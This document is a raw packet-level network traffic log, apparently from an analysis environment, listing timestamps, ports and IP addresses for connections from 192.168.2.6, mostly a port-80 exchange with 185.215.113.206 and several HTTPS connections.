Nov 23, 2024 21:59:44.549777985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.549793005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.550453901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.550484896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.550529003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.550543070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.636674881 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.637712955 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.637733936 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.638245106 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.638248920 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.693624973 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:44.693674088 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:44.693744898 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:44.700006962 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:44.700022936 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:44.730576992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.730614901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.730645895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.730675936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.730885029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.730931044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.730984926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.731323957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.731672049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.731741905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.731781006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.731820107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.732393980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.732453108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.732736111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.732795000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.732795000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.732832909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.733732939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.733750105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.733800888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.734255075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.734272003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.734316111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.735125065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.735171080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.735357046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.735451937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.735820055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.735867977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.736135006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.736181974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.736572027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.736623049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.736680031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.736812115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.737358093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.737416029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.737459898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.737654924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.738157034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.738208055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.738276958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.738328934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.738945007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.739006042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.739038944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.739109039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.739729881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.739795923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.739834070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.739877939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.740508080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.740559101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.740668058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.740712881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.741261005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.741321087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.741327047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.741441965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.742057085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.742100000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.742168903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.742206097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.742923021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.742969036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.743040085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.743083000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.743837118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.743885040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.743904114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.743942976 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.744724989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.744863987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.744882107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.744918108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.745765924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.745817900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.745851040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.745893002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.747097015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.747168064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.747214079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.747337103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.747937918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.747983932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.747983932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.748023033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.748493910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.748538971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.748581886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.748622894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.825324059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.825536013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.825572014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.825617075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.825818062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.825897932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.825959921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.826567888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.826632023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.826725006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.826875925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.827342033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.827400923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.827445984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.827493906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.827917099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.827965975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.828028917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.828166962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.828665972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.828721046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.828769922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.828809977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.829435110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.829493046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.829524040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.829612970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.830215931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.830261946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.830353975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.830393076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.831032991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.831091881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.831159115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.831208944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.831790924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.831841946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.831896067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.831934929 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.832655907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.832701921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.832714081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.832752943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.833355904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.833406925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.833455086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.833493948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.834146023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.834212065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.834319115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.834361076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.834930897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.834990025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.835025072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.835093975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.835751057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.835813046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.835819960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.835935116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.836493969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.836545944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.836582899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.836621046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.837272882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.837318897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.837393999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.837441921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.838093996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.838144064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.838186026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.838224888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.838856936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.838917971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.838956118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.838999033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.839632988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.839692116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.839791059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.839855909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.840399027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.840457916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.840575933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.840620041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.841183901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.841291904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.841319084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.841337919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.842022896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.842077017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.842097998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.842114925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.842807055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.842909098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.842955112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.843554020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.843674898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.843703032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.843744993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.844333887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.844386101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.844450951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.844491959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.845124960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.845166922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.845189095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.845227003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.845923901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.845963001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.846025944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.846082926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.846709013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.846756935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.846771002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.846807957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.847457886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.847539902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.847609997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.847651005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.919056892 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.919164896 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.919209957 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.920270920 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.920348883 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.920466900 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.931032896 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.931058884 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.931622028 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.931684017 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.931740046 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.933104992 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.933126926 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.935431004 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.935484886 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.935691118 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.941459894 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.956830978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.956931114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.956959009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.957000017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.957215071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.957261086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.957312107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.957411051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.958007097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.958050966 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.958096027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.958143950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.958792925 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.958794117 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.958818913 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.958832026 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.958985090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.959055901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.959141016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.959202051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.959213972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.959242105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.959614038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.959662914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.959671021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.959700108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.960270882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.960311890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.960392952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.960429907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.960719109 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.960719109 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.960733891 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.960742950 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.961083889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.961126089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.961148977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.961234093 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.961250067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.961268902 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.961680889 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.961690903 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.961873055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.961920023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.962078094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.962120056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.962630033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.962685108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.962749958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.962789059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.963411093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.963473082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.963522911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.963654041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.964205027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.964257002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.964389086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.964432955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.964961052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.965010881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.965078115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.965116978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.965756893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.965801001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.965936899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.965981960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.966521978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.966568947 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.966604948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.966639996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.967322111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.967385054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.967433929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.967468977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.968118906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.968167067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.968226910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.968266010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.968905926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.968966961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.969049931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.969086885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.969671011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.969791889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.969835043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.969873905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.970467091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.970527887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.970575094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.971241951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.971285105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.971359015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.971400023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.972081900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.972130060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.972239971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.972275972 CET	49809	80	192.168.2.6	185.215.113.206
